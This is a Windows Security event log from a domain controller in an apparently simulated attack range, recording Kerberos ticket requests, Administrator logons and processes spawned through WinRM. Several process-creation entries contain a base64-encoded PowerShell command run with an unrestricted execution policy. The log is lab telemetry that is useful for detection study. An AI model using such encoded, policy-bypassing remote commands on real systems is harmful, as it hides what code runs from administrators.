information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252964 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252963 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252962 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252961 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1334 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x128c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252960 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x128c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x244 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252959 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1817CB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252958 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1817CB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252957 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252956 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252955 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252954 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x244 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252953 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Process Information: - New Process ID: 0x244 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252952 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252951 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252950 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252949 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252948 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 